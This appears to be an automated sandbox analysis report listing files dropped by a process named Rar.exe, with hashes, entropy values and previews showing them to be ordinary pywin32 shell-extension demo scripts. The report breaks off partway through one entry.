3.PDDT_ENUMERATED = 4..PDGR_DISCRETE = 0.PDGR_ALPHANUMERIC = 1.PDGR_SIZE = 2.PDGR_DYNAMIC = 3.PDGR_DATE = 4.PDGR_PERCENT = 5.PDGR_ENUM

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32comext\propsys\test\testpropsys.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	206
Entropy (8bit):	4.512680599938387
Encrypted:	false
SSDEEP:	6:1KvC8P5JsFKncCZk1MPMFMZ4B/EMAW+HQOzn:1Kq8P5J8KFZk1M1Z4BqnQOzn
MD5:	3D5C530DF089F313087D12ED6DA42A3B
SHA1:	01D3AC9D95F9E4331FF36079331CFB6F17CFD792
SHA-256:	E431EA1C8FD25425C922230BCC5591F274519F77D3E29133864EC8139256FD5B
SHA-512:	006FDC7754E0FCA9A367DEFD90BB5FB420B924DF4F6ECEC760CA0E5461DD1490A3F866F470FEE53F8C77DD7AA11FA9D2A6E2E835AA6075264E0A60D07AEB5DC3
Malicious:	false
Reputation:	low
Preview:	from win32com.propsys import propsys, pscon..print("propsys was imported (sorry - that is the extent of the tests,").print("but see the shell folder_view demo, which uses this module)").# that's all folks!.

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32comext\shell\init.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	135
Entropy (8bit):	4.680015638860431
Encrypted:	false
SSDEEP:	3:SAFMBm3EAAGHQ+HWg7AIvGUVsLHKFaWlQkEr66NRS66u:SgCmCGHQqAaGUWLHKkWlQkAS6v
MD5:	F45C606FFC55FD2F41F42012D917BCE9
SHA1:	CA93419CC53FB4EFEF251483ABE766DA4B8E2DFD
SHA-256:	F0BB50AF1CAEA5B284BD463E5938229E7D22CC610B2D767EE1778E92A85849B4
SHA-512:	BA7BEBE62A6C2216E68E2D484C098662BA3D5217B39A3156B30E776D2BB3CF5D4F31DCDC48A2EB99BC5D80FFFE388B212EC707B7D10B48DF601430A07608FD46
Malicious:	false
Reputation:	low
Preview:	# See if we have a special directory for the binaries (for developers).import win32com..win32com.__PackageSupportBuildPath__(__path__).

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32comext\shell\demos\IActiveDesktop.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	2122
Entropy (8bit):	4.964501903065558
Encrypted:	false
SSDEEP:	48:fDjVVIN+cKqRT1/t/od+0v0LxIJVNjI7j1y4K4d3i7iAarHWfj:fDjVVU7F/UpVNM7Li7iAa4j
MD5:	430D24F2ABC9FCAFF969FD5A149094B4
SHA1:	04A9949F80250E04AE58B42EF8B2E3E1213261C4
SHA-256:	8D9C4A29DBFCE83EBFD31DAAC23D346FD19271578D02B17B9520FE26E22BC471
SHA-512:	A627C96ACDDD9E01865257CFEF20A124BB919B49FFAE27526821EDD22F76D29DCBB8B8ADAFCF6FF74D9B8E4B28B8EF27D24772895E69F83FDA7275CB469CA172
Malicious:	false
Reputation:	low
Preview:	import time..import pythoncom.from win32com.shell import shell, shellcon..website = "https://github.com/mhammond/pywin32/".iad = pythoncom.CoCreateInstance(. shell.CLSID_ActiveDesktop,. None,. pythoncom.CLSCTX_INPROC_SERVER,. shell.IID_IActiveDesktop,.).opts = iad.GetDesktopItemOptions().if not (opts["ActiveDesktop"] and opts["EnableComponents"]):. print("Warning: Enabling Active Desktop"). opts["ActiveDesktop"] = True. opts["EnableComponents"] = True. iad.SetDesktopItemOptions(opts). iad.ApplyChanges(0xFFFF). iad = None. ## apparently takes a short while for it to become active. time.sleep(2). iad = pythoncom.CoCreateInstance(. shell.CLSID_ActiveDesktop,. None,. pythoncom.CLSCTX_INPROC_SERVER,. shell.IID_IActiveDesktop,. )..cnt = iad.GetDesktopItemCount().print("Count:", cnt).for i in range(cnt):. print(iad.GetDesktopItem(i))..component = {. "ID": cnt + 1,. "ComponentType": shellcon.COMP_TYPE_WEBSITE,. "

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32comext\shell\demos\IFileOperationProgressSink.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	5153
Entropy (8bit):	4.493888163704418
Encrypted:	false
SSDEEP:	48:hVVpNvkw045fnZFjVrYgoh1ZRlCkAOnYBlrIjxlHd9HlehlkPd/iOnYBlrzlFBdB:hVV7ljnZFjqRY0jrZQhcqBICJDhyXpO
MD5:	B8F2EA8D679EA86D5FFBFC13C2E7315C
SHA1:	64B8F2FA27152D21EF833139CF22F15125C9A197
SHA-256:	345A7D4623738C33EF0FB4FB153A16BA4FB4B8C7C33E4A828015BC8CD2445FB4
SHA-512:	FC9C4708042CFDC079D27F088CCC29F3887C30574F89DB1EDFFAE602F9CE2B834BB33E47952D792727486D052E77B410EC9058FB4694384F99D7EA20EAC5436F
Malicious:	false
Reputation:	low
Preview:	# Sample implementation of IFileOperationProgressSink that just prints.# some basic info..import pythoncom.from win32com.server.policy import DesignatedWrapPolicy.from win32com.shell import shell, shellcon..tsf_flags = list(. (k, v) for k, v in list(shellcon.__dict__.items()) if k.startswith("TSF_").)...def decode_flags(flags):. if flags == 0:. return "TSF_NORMAL". flag_txt = "". for k, v in tsf_flags:. if flags & v:. if flag_txt:. flag_txt = flag_txt + "\|" + k. else:. flag_txt = k. return flag_txt...class FileOperationProgressSink(DesignatedWrapPolicy):. _com_interfaces_ = [shell.IID_IFileOperationProgressSink]. _public_methods_ = [. "StartOperations",. "FinishOperations",. "PreRenameItem",. "PostRenameItem",. "PreMoveItem",. "PostMoveItem",. "PreCopyItem",. "PostCopyItem",. "PreDeleteItem",. "PostDeleteItem",. "PreNewItem"

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32comext\shell\demos\IShellLinkDataList.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	1917
Entropy (8bit):	5.149600843639279
Encrypted:	false
SSDEEP:	48:ZgNV0sIOM+JCH3PaHA6Fx1IEhlI7/7UDIQGR:ZgNV0szMCCHAMqI
MD5:	E789F5DADE7F09955A2F0ADD9A4ED147
SHA1:	CFAA354D98D8D97823E831720080E83B41C25D41
SHA-256:	10485012A34EA3BDF42454F0BE557B03A0C957FD3A4B3855DC74FC9673C7C5D8
SHA-512:	2A0415426F41C995E5CDDA7E097ADC20F831917C64D3E6F1F5E425AF6182BA37076E6D0766E203096AE695B7038A26B91BF9AD2A6A348D3D7CA1EA40924719B7
Malicious:	false
Reputation:	low
Preview:	import os.import sys..import pythoncom.import win32api.from win32com.shell import shell, shellcon..temp_dir = win32api.GetTempPath().linkname = win32api.GetTempFileName(temp_dir, "cmd")[0].os.remove(linkname).linkname += ".lnk".print("Link name:", linkname).ish = pythoncom.CoCreateInstance(. shell.CLSID_ShellLink, None, pythoncom.CLSCTX_INPROC_SERVER, shell.IID_IShellLink.).ish.SetPath(os.environ["cOMSPEC"]).ish.SetWorkingDirectory(os.path.split(sys.executable)[0]).ish.SetDescription("shortcut made by python")..console_props = {. "Signature": shellcon.NT_CONSOLE_PROPS_SIG,. "InsertMode": True,. "FullScreen": False, ## True looks like "DOS Mode" from win98!. "FontFamily": 54,. "CursorSize": 75, ## pct of character size. "ScreenBufferSize": (152, 256),. "AutoPosition": False,. "FontSize": (4, 5),. "FaceName": "",. "HistoryBufferSize": 32,. "InputBufferSize": 0,. "QuickEdit": True,. "Font": 0, ## 0 should always be present, use win32console.Get

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32comext\shell\demos\ITransferAdviseSink.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	2870
Entropy (8bit):	4.718263766235126
Encrypted:	false
SSDEEP:	48:xxVVpNvgDzNwMkHFaVNIWjk14WPD/QBbqlnlQFloMlb1nbMG:3VV7gDCME0VLjAVPD/gxMM+G
MD5:	43BEB126A494AC8C2DC7690F1ACA9FF8
SHA1:	14F2B9A06E3ACB4DB380DFF93B9C1A42F128D238
SHA-256:	BDF8750F39B827CAD3139D117A7FB331936D3D82BB4D569918A72AE081B17AFB
SHA-512:	4B65BB067F25C504CF974CE055DF843E362267085C18811D523EAEC3FC42237F795C97469FC7FDC29CA4C367F11C093F21745B9674F173D513AC2F7C327BC77E
Malicious:	false
Reputation:	low
Preview:	# ITransferAdviseSink implementation template..import pythoncom.from win32com.server.policy import DesignatedWrapPolicy.from win32com.shell import shell, shellcon..tsf_flags = list(. (k, v) for k, v in list(shellcon.__dict__.items()) if k.startswith("TSF_").)...def decode_flags(flags):. if flags == 0:. return "TSF_NORMAL". flag_txt = "". for k, v in tsf_flags:. if flags & v:. if flag_txt:. flag_txt = flag_txt + "\|" + k. else:. flag_txt = k. return flag_txt...TRANSFER_ADVISE_STATES = {}.for k, v in list(shellcon.__dict__.items()):. if k.startswith("TS_"):. TRANSFER_ADVISE_STATES[v] = k...def decode_flags(flags):. if flags == 0:. return "TSF_NORMAL". flag_txt = "". for k, v in tsf_flags:. if flags & v:. if flag_txt:. flag_txt = flag_txt + "\|" + k. else:. flag_txt = k. return flag_txt...class TransferAdviseSink(DesignatedW

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32comext\shell\demos\IUniformResourceLocator.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	4.966229174278164
Encrypted:	false
SSDEEP:	48:wVYSOct+0NStW7IQ5YIQnrXaVs/Oc9LIQAdiWyvvsO7iWavvPQu:wVYSO4xNStWP52j2sGcZ/Jvs9lvPn
MD5:	B62C30C437ABEF50FE0779C496B510E1
SHA1:	16774174E1A2B133AA8F4D872CD38DF7D9A874B2
SHA-256:	72C6B1A79FE131E4947A297867952B00373C8122897C499AE8C9CC32929D314C
SHA-512:	7C06D5B8E4150EE73D6DB641C6D466F1F2DBC08EA38028B66AFF447C3C3D97DF079E9E4D53DED7404CAA1CFF2D035D2344139329C8E333A7728CEFB79E36AB4B
Malicious:	false
Reputation:	low
Preview:	import os..import pythoncom.import win32api.from win32com.shell import shell, shellcon...class InternetShortcut:. def __init__(self):. self._base = pythoncom.CoCreateInstance(. shell.CLSID_InternetShortcut,. None,. pythoncom.CLSCTX_INPROC_SERVER,. shell.IID_IUniformResourceLocator,. ).. def load(self, filename):. # Get an IPersist interface. # which allows save/restore of object to/from files. self._base.QueryInterface(pythoncom.IID_IPersistFile).Load(filename).. def save(self, filename):. self._base.QueryInterface(pythoncom.IID_IPersistFile).Save(filename, 1).. def __getattr__(self, name):. if name != "_base":. return getattr(self._base, name)...temp_dir = win32api.GetTempPath().linkname = win32api.GetTempFileName(temp_dir, "ish")[0].print("Link:", linkname).os.remove(linkname).linkname += ".url"..ish = InternetShortcut().ish.SetURL("https://github.com/mhammond/pywin32")

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32comext\shell\demos\browse_for_folder.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	1502
Entropy (8bit):	4.753864989752387
Encrypted:	false
SSDEEP:	24:l+IVwvYHfCpHQjcGFVCpEEwvpEJgzQMb4pjEGD+YAm9MsH0czgCRE/:RV0NpHQjPFHNYgZ4mRYAg0c8CK/
MD5:	FC21F7F05AFE0DC055E2D44483DB95B5
SHA1:	18ABBBCB5A6DF731A0743B79C28A7564B3B32275
SHA-256:	45E1A6F22EFC25D4A64EDF4F0995ECF702EE47D39D81F267DDAF2DB83BC886AA
SHA-512:	506C9997292E47408282B35B6299F6112C359429C8207218C1EE327BE7AC75F178D8C21A6D2B5D262FCDF28CCAC40B6646C9E882207F616B8B59E1071C160A32
Malicious:	false
Reputation:	low
Preview:	# A couple of samples using SHBrowseForFolder..import os..import win32gui.from win32com.shell import shell, shellcon...# A callback procedure - called by SHBrowseForFolder.def BrowseCallbackProc(hwnd, msg, lp, data):. if msg == shellcon.BFFM_INITIALIZED:. win32gui.SendMessage(hwnd, shellcon.BFFM_SETSELECTION, 1, data). elif msg == shellcon.BFFM_SELCHANGED:. # Set the status text of the. # For this message, 'lp' is the address of the PIDL.. pidl = shell.AddressAsPIDL(lp). try:. path = shell.SHGetPathFromIDList(pidl). win32gui.SendMessage(hwnd, shellcon.BFFM_SETSTATUSTEXT, 0, path). except shell.error:. # No path for this PIDL. pass...if __name__ == "__main__":. # Demonstrate a dialog with the cwd selected as the default - this. # must be done via a callback function.. flags = shellcon.BIF_STATUSTEXT. shell.SHBrowseForFolder(. 0, # parent HWND. None, # root PIDL..

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32comext\shell\demos\create_link.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	2336
Entropy (8bit):	4.515110795958441
Encrypted:	false
SSDEEP:	48:tmgW5gtjVxut+UNStW7IQ5YIQnMXavrYfruIi0tTkMI5S8LkKhB:2wjVxO3NStWP52o8r8tTkt
MD5:	BFA30B4C6A14C8E48D8073FEC282CADB
SHA1:	B352384CE0DFFC8386692D6F1D0C4DB11ACD7559
SHA-256:	013CAA4F59D92FF001B6A7DADBF13C025B49E27800E3F07C81505550F162C71B
SHA-512:	D097453E1A8DF523D6B8D3C448C8A52171CD8C44062B3BE22F43521F0F0028ADA32F2FFFD64FA03694ED3B08D9D692AC17F7A025FD3F43781C4A79148F94E5E2
Malicious:	false
Reputation:	low
Preview:	# link.py.# From a demo by Mark Hammond, corrupted by Mike Fletcher.# (and re-corrupted by Mark Hammond :-).import os..import pythoncom.from win32com.shell import shell...class PyShortcut:. def __init__(self):. self._base = pythoncom.CoCreateInstance(. shell.CLSID_ShellLink,. None,. pythoncom.CLSCTX_INPROC_SERVER,. shell.IID_IShellLink,. ).. def load(self, filename):. # Get an IPersist interface. # which allows save/restore of object to/from files. self._base.QueryInterface(pythoncom.IID_IPersistFile).Load(filename).. def save(self, filename):. self._base.QueryInterface(pythoncom.IID_IPersistFile).Save(filename, 0).. def __getattr__(self, name):. if name != "_base":. return getattr(self._base, name)...if __name__ == "__main__":. import sys.. if len(sys.argv) < 2:. print(. "Usage: %s LinkFile [path [, args[, description[, working_dir]]]]\n\nIf LinkF

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32comext\shell\demos\dump_link.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	1688
Entropy (8bit):	4.793028770522822
Encrypted:	false
SSDEEP:	48:lMghjVigDZRSd+rIQt5lRhZf2L6l7swsIp:lMghjViERiiHlR3tswsIp
MD5:	C9D27A3E3BD79CEFD461DFEDE9B7A4B3
SHA1:	4E1CCC49E93BA04F4655FC0FA5C2A8C89B6D8E52
SHA-256:	60AF94B8D6E812A38AAFBB620CD5BC59C7005128E7E6B5A5E4EB2652AB532EB8
SHA-512:	47D3C1AF0DFC9846E242592E41729A6D95664157DED107852B57394286F6A0B3BFE21AFB696D2958545B3E0B32FA0F1D4D7783856B42FDB3CE97FF4E255D8919
Malicious:	false
Reputation:	low
Preview:	# dump_link.py - dumps information about shell shortcuts.#.import glob.import os.import sys..import pythoncom.from win32com.shell import shell, shellcon.from win32com.storagecon import *...def DumpLink(fname):. shellLink = pythoncom.CoCreateInstance(. shell.CLSID_ShellLink,. None,. pythoncom.CLSCTX_INPROC_SERVER,. shell.IID_IShellLink,. ). persistFile = shellLink.QueryInterface(pythoncom.IID_IPersistFile). persistFile.Load(fname, STGM_READ). shellLink.Resolve(0, shell.SLR_ANY_MATCH \| shell.SLR_NO_UI). fname, findData = shellLink.GetPath(0). print("Filename:", fname, ", UNC=", shellLink.GetPath(shell.SLGP_UNCPRIORITY)[0]). print("Description:", shellLink.GetDescription()). print("Working Directory:", shellLink.GetWorkingDirectory()). print("Icon:", shellLink.GetIconLocation())...def FavDumper(nothing, path, names):. # called by os.path.walk. for name in names:. print(name, end=" "). try:. DumpLink(n

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32comext\shell\demos\explorer_browser.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	4956
Entropy (8bit):	4.742030097814967
Encrypted:	false
SSDEEP:	96:WCfgJV/BUxRB+DVbYy2X6JenZ02yiRcGJTQWaZNfmiGpcNIwi:WCfEBmkVb2RnLHvxaDeiHuwi
MD5:	A67FC9C637F34AE4FD7BBC3BF56BF1AA
SHA1:	EA814518E366440B782F568FF609DCE47CBDDF74
SHA-256:	67D2B811101F7034AB03558B7502EA50D0D66AF60EE69924BD3FB46873107F31
SHA-512:	76357461D0B5033DA1995BA7A35DBE26EA10105668DFBC0F4226182CCCD419F3E5EF278DE88F2F19F52953871C0077E4CC213BAE1C3FCB65F044A3078AD64A5D
Malicious:	false
Reputation:	low
Preview:	# A sample of using Vista's IExplorerBrowser interfaces....# Currently doesn't quite work:.# * CPU sits at 100% while running...import sys..import pythoncom.import win32api.import win32con.import win32gui.from win32com.server.util import unwrap, wrap.from win32com.shell import shell, shellcon..# event handler for the browser..IExplorerBrowserEvents_Methods = """OnNavigationComplete OnNavigationFailed . OnNavigationPending OnViewCreated""".split()...class EventHandler:. _com_interfaces_ = [shell.IID_IExplorerBrowserEvents]. _public_methods_ = IExplorerBrowserEvents_Methods.. def OnNavigationComplete(self, pidl):. print("OnNavComplete", pidl).. def OnNavigationFailed(self, pidl):. print("OnNavigationFailed", pidl).. def OnNavigationPending(self, pidl):. print("OnNavigationPending", pidl).. def OnViewCreated(self, view):. print("OnViewCreated", view). # And if our demo view has been registered, it may

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32comext\shell\demos\servers\column_provider.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	3743
Entropy (8bit):	4.695336004293959
Encrypted:	false
SSDEEP:	96:ufgZDltoV4544MKfOV7ORD16EnUBCrtb5zQy+kS36LhyFtDQ/MBXwgGR:AgHnkaQ7ORD16EUejQ3kS36LhyFtDQ//
MD5:	6C4997A0590505D6B9D4E11BE2B0428E
SHA1:	822B2683FB86331F198B5F917F04CDC68757855D
SHA-256:	7BCDA7BCC2B8D503E260DAD199E8202CA143E214C22F70B31AEE1A7ECA3E8C66
SHA-512:	1CBC4EA469C883776B5A6EC9DFCC9919E617695F1F7D0984ECA89D631DB46075EA2BBF50F3D69B9704381839A778D78FBDBF691908B51A48751673D19DFEF43B
Malicious:	false
Reputation:	low
Preview:	# A sample shell column provider.# Mainly ported from MSDN article:.# Using Shell Column Handlers for Detailed File Information,.# Raymond Chen, Microsoft Corporation, February 2000.#.# To demostrate:.# * Execute this script to register the namespace..# * Open Windows Explorer.# * Right-click an explorer column header - select "More".# * Locate column 'pyc size' or 'pyo size', and add it to the view..# This handler is providing that column data..import os.import stat..import commctrl.import pythoncom.from pywintypes import IID.from win32com.server.util import wrap.from win32com.shell import shell, shellcon..IPersist_Methods = ["GetClassID"].IColumnProvider_Methods = IPersist_Methods + [. "Initialize",. "GetColumnInfo",. "GetItemData",.]...class ColumnProvider:. _reg_progid_ = "Python.ShellExtension.ColumnProvider". _reg_desc_ = "Python Sample Shell Extension (Column Provider)". _reg_clsid_ = IID("{0F14101A-E05E-4070-BD54-83DFA58C3D68}"). _com_interfaces_ = [.

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32comext\shell\demos\servers\context_menu.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	4413
Entropy (8bit):	4.8718027906296015
Encrypted:	false
SSDEEP:	96:xJ3W+0YJbVeNDJP8hppPFFKEaMpz0EuzlC4KltWimIFGZPDQ/uXwgGR:xNW+7IV8/pOE7pzPuza6i14PDQ/uXDGR
MD5:	962A1AFF29A3354202644492184916B0
SHA1:	ACA9DA847DA3807B3014235F5EA2194EBB0E3882
SHA-256:	95AB64B6F7FE56B6FEBC1390E0436DF2373FE302727D167D281065D806A3D01C
SHA-512:	062FA321E95B29807D347EE23E77259032F45C3384D06DB2874DFF6C9D1D57D61C198841F5180070840D095538927FE20CB1BB1163520C68804E12C59CB823F4
Malicious:	false
Reputation:	low
Preview:	# A sample context menu handler..# Adds a 'Hello from Python' menu entry to .py files. When clicked, a.# simple message box is displayed..#.# To demostrate:.# * Execute this script to register the context menu..# * Open Windows Explorer, and browse to a directory with a .py file..# * Right-Click on a .py file - locate and click on 'Hello from Python' on.# the context menu...import pythoncom.import win32con.import win32gui.from win32com.shell import shell, shellcon...class ShellExtension:. _reg_progid_ = "Python.ShellExtension.ContextMenu". _reg_desc_ = "Python Sample Shell Extension (context menu)". _reg_clsid_ = "{CED0336C-C9EE-4a7f-8D7F-C660393C381F}". _com_interfaces_ = [shell.IID_IShellExtInit, shell.IID_IContextMenu]. _public_methods_ = shellcon.IContextMenu_Methods + shellcon.IShellExtInit_Methods.. def Initialize(self, folder, dataobj, hkey):. print("Init", folder, dataobj, hkey). self.dataobj = dataobj.. def QueryContextMenu(self, hMenu, in

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32comext\shell\demos\servers\copy_hook.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	2691
Entropy (8bit):	4.918411583843704
Encrypted:	false
SSDEEP:	48:23w21V7W2LcbHOfPZsMdaKEVsc2c6/8AKM8AKt6+LPDvI/uXwXwGE:CZVCT6Js0EVsc2ctNLPDQ/uXwgGE
MD5:	B0A82BD7CB7AA7A81C22B39572AD0869
SHA1:	CC2828A142C1AAA9B0F890F2F5F37012DF286211
SHA-256:	9A5170C42EE29B2FFBD39D529E2E1CFA22E7A5DCF4A238AB454542F905E6F2BE
SHA-512:	54D423A51AB78C8547C9C022A0DE941C9278F3BF8395AFCAD81E2461E1B6191D9C42157203A139D71C1206E5B5EA664C1D61E0082293082D54D2F0B4782A48EC
Malicious:	false
Reputation:	low
Preview:	# A sample shell copy hook...# To demostrate:.# * Execute this script to register the context menu..# * Open Windows Explorer.# * Attempt to move or copy a directory..# * Note our hook's dialog is displayed...import pythoncom.import win32con.import win32gui.from win32com.shell import shell, shellcon...# Our shell extension..class ShellExtension:. _reg_progid_ = "Python.ShellExtension.CopyHook". _reg_desc_ = "Python Sample Shell Extension (copy hook)". _reg_clsid_ = "{1845b6ba-2bbd-4197-b930-46d8651497c1}". _com_interfaces_ = [shell.IID_ICopyHook]. _public_methods_ = ["CopyCallBack"].. def CopyCallBack(self, hwnd, func, flags, srcName, srcAttr, destName, destAttr):. # This function should return:. # IDYES Allows the operation.. # IDNO Prevents the operation on this folder but continues with any other operations that have been approved (for example, a batch copy operation).. # IDCANCEL Prevents the current operation and cancels any pending op

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32comext\shell\demos\servers\empty_volume_cache.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	7623
Entropy (8bit):	4.620295981351384
Encrypted:	false
SSDEEP:	192:Uid7werOHLhcMP6HUcwT9r9vLDQ/SXDGR:U47OHljyHUc0m
MD5:	99C937BF8A9C575A44A8E1C958996FB8
SHA1:	198BEF472D43D41BF806EAD6C36E7D972612A86D
SHA-256:	47BAA5C72278AE161532D3F9D0EF7B41F1878E705BA366FA76B8751C0CAF4401
SHA-512:	2FFE7892CFA233C5CC63073B7EC466718C115826220C5A86729685FE0E852517AC1DD1A374F49915CD864BE2CFFCC62F48537118D92905D3F0E9AF7BD9814938
Malicious:	false
Reputation:	low
Preview:	# A sample implementation of IEmptyVolumeCache - see.# http://msdn2.microsoft.com/en-us/library/aa969271.aspx for an overview..#.# * Execute this script to register the handler.# * Start the "disk cleanup" tool - look for "pywin32 compiled files".import os.import stat.import sys..import pythoncom.import win32gui.import winerror.from win32com.server.exception import COMException.from win32com.shell import shell, shellcon..# Our shell extension..IEmptyVolumeCache_Methods = (. "Initialize GetSpaceUsed Purge ShowProperties Deactivate".split().).IEmptyVolumeCache2_Methods = "InitializeEx".split()..ico = os.path.join(sys.prefix, "py.ico").if not os.path.isfile(ico):. ico = os.path.join(sys.prefix, "PC", "py.ico").if not os.path.isfile(ico):. ico = None. print("Can't find python.ico - no icon will be installed")...class EmptyVolumeCache:. _reg_progid_ = "Python.ShellExtension.EmptyVolumeCache". _reg_desc_ = "Python Sample Shell Extension (disk cleanup)". _reg_clsid_ = "{E

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32comext\shell\demos\servers\folder_view.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	29247
Entropy (8bit):	4.938884861532685
Encrypted:	false
SSDEEP:	384:9/LNWrPPPcqJWEyGdnY3T4g83LE+i3S0SzMp1DzQzNc2JY2IoeYaV8DRdOXHgcfX:9/LNWrPvWIYEspEJnDegcf9FxTVT
MD5:	0E71355BB9312A57448321D14BF6A53A
SHA1:	BE142CBF9C2026CD65B869C67FB9E00DBFE44D60
SHA-256:	7505ACB133C8815E2654024CA06034269EAE8932B8DC4F958658763BE9A6A715
SHA-512:	DADBA748D6B65E8C339EADD94BFFCCB346DBE8164AC28493856E65CD94E19BCD250C8105BB8BAFBED5235EDBF4D6E86076B155C9E42B02D8FE6303326BCA6CC1
Malicious:	false
Reputation:	low
Preview:	# This is a port of the Vista SDK "FolderView" sample, and associated.# notes at http://shellrevealed.com/blogs/shellblog/archive/2007/03/15/Shell-Namespace-Extension_3A00_-Creating-and-Using-the-System-Folder-View-Object.aspx.# A key difference to shell_view.py is that this version uses the default.# IShellView provided by the shell (via SHCreateShellFolderView) rather.# than our own..# XXX - sadly, it doesn't work quite like the original sample. Oh well,.# another day....import os.import pickle.import random.import sys..import commctrl.import pythoncom.import win32api.import win32con.import winerror.import winxpgui as win32gui # the needs vista, let alone xp!.from win32com.axcontrol import axcontrol # IObjectWithSite.from win32com.propsys import propsys.from win32com.server.exception import COMException.from win32com.server.util import NewEnum as _NewEnum, wrap as _wrap.from win32com.shell import shell, shellcon.from win32com.util import IIDToInterfaceName..GUID = pythoncom.MakeII

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32comext\shell\demos\servers\icon_handler.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	2550
Entropy (8bit):	4.94557116783642
Encrypted:	false
SSDEEP:	48:c/h/XT3050g11VjKc2Kcbis2CyvUV46hfKTt6XPDvI/uXwXwGR:cVXj050g11V2cqeN3vUV4qyJ4PDQ/uXg
MD5:	1CECD9EEC5CEC1055C24FFC54DFC5328
SHA1:	111E67D9EB7A37224EFA5FB38A0744AB25184C9F
SHA-256:	8D581DD890F7B32A507C71F73629C1ABF19D96A41BF1124354BCC32F958159B3
SHA-512:	2EDAFBCCA344D037D6FCBBB53F3C35EE0A7688F52CB7BE091739B983CC4106BA9864AA3FD3807C33E817C35594B33F6D051A8186A7F53CACF64F1ED6D8B9E5AE
Malicious:	false
Reputation:	low
Preview:	# A sample icon handler. Sets the icon for Python files to a random.# ICO file. ICO files are found in the Python directory - generally there will.# be 3 icons found..#.# To demostrate:.# * Execute this script to register the context menu..# * Open Windows Explorer, and browse to a directory with a .py file..# * Note the pretty, random selection of icons!.# Use glob to locate ico files, and random.choice to pick one..import glob.import os.import random.import sys..import pythoncom.import win32gui.import winerror.from win32com.shell import shell, shellcon..ico_files = glob.glob(os.path.join(sys.prefix, ".ico")).if not ico_files:. ico_files = glob.glob(os.path.join(sys.prefix, "PC", ".ico")).if not ico_files:. print("WARNING: Can't find any icon files")..# Our shell extension..IExtractIcon_Methods = "Extract GetIconLocation".split().IPersistFile_Methods = "IsDirty Load Save SaveCompleted GetCurFile".split()...class ShellExtension:. _reg_progid_ = "Python.ShellExtension.IconH

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32comext\shell\demos\servers\shell_view.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	37215
Entropy (8bit):	4.690608193285492
Encrypted:	false
SSDEEP:	384:r+nnu3b7vrZjIxedwJrb0cjKdkzi3FIV6g/HSBo+OVFnnMStl:r+nu3XaxedArYcjKdkzRD/Heo+Ottl
MD5:	697E8D44C0EE4041BC79C33A17B228AA
SHA1:	D2541E30F9FC436C6AFB07F3883517726248F153
SHA-256:	A9DA5A6CCA9AAC3D03152A3D5B6330194921681960B7502CF96E84B1A323BC97
